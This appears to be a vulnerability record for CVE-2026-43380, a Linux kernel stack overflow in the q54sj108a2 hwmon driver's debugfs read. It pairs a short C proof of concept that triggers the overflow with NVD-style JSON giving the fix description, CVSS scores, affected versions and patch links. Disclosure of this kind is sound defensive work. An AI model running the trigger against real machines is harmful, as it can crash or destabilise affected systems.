CVE-2026-43380

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> /* * PoC for CVE-2026-43380 * Trigger: Read from the debugfs interface of the q54sj108a2 driver. * This triggers the stack buffer overflow in q54sj108a2_debugfs_read. */ int main() { // The actual path depends on the hardware instance and debugfs mount point const char *debugfs_file = "/sys/kernel/debug/hwmon/hwmonX/q54sj108a2_debugfs_read"; int fd = open(debugfs_file, O_RDONLY); if (fd < 0) { perror("[-] Failed to open debugfs file"); fprintf(stderr, "[-] Ensure the target hardware is present and debugfs is mounted.\n"); return 1; } printf("[*] Triggering the vulnerability by reading from %s\n", debugfs_file); char buffer[128]; ssize_t len = read(fd, buffer, sizeof(buffer)); if (len > 0) { printf("[+] Read %zd bytes. Check kernel logs for panic or instability.\n", len); } else { perror("[-] Read failed"); } close(fd); return 0; }

{"cve": {"id": "CVE-2026-43380", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:49.207", "lastModified": "2026-05-20T17:16:22.927", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nhwmon: (pmbus/q54sj108a2) fix stack overflow in debugfs read\n\nThe q54sj108a2_debugfs_read function suffers from a stack buffer overflow\ndue to incorrect arguments passed to bin2hex(). The function currently\npasses 'data' as the destination and 'data_char' as the source.\n\nBecause bin2hex() converts each input byte into two hex characters, a\n32-byte block read results in 64 bytes of output. Since 'data' is only\n34 bytes (I2C_SMBUS_BLOCK_MAX + 2), this writes 30 bytes past the end\nof the buffer onto the stack.\n\nAdditionally, the arguments were swapped: it was reading from the\nzero-initialized 'data_char' and writing to 'data', resulting in\nall-zero output regardless of the actual I2C read.\n\nFix this by:\n1. Expanding 'data_char' to 66 bytes to safely hold the hex output.\n2. Correcting the bin2hex() argument order and using the actual read count.\n3. Using a pointer to select the correct output buffer for the final\n simple_read_from_buffer call."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.167", "matchCriteriaId": "2EDC6BAF-B710-4E26-B6AA-D68922EE7B43"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.78", "matchCriteriaId": "28D591F5-B196-4CC9-905C-DC80F116E7A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.19", "matchCriteriaId": "D394AC60-6F28-435F-872A-CCDF384B8331"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.9", "matchCriteriaId": "E825E7C3-FEAC-4FD3-8A81-78D7387948C9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/24a7b9daa103fa963b3fd37d8805b23e01621976", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/25dd70a03b1f5f3aa71e1a5091ecd9cd2a13ee43", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/52db5ef163c96f916d424e472fb17aadc35a9f7a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/73a7a345816946d276ad2c46c8bb771de67cfc46", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a0fc1b9c738fba231f190ab960c83202722efee5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b48a0f8d4541a4f6651dc9a64430ce9fdf5c120b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c59090c50f6 ... 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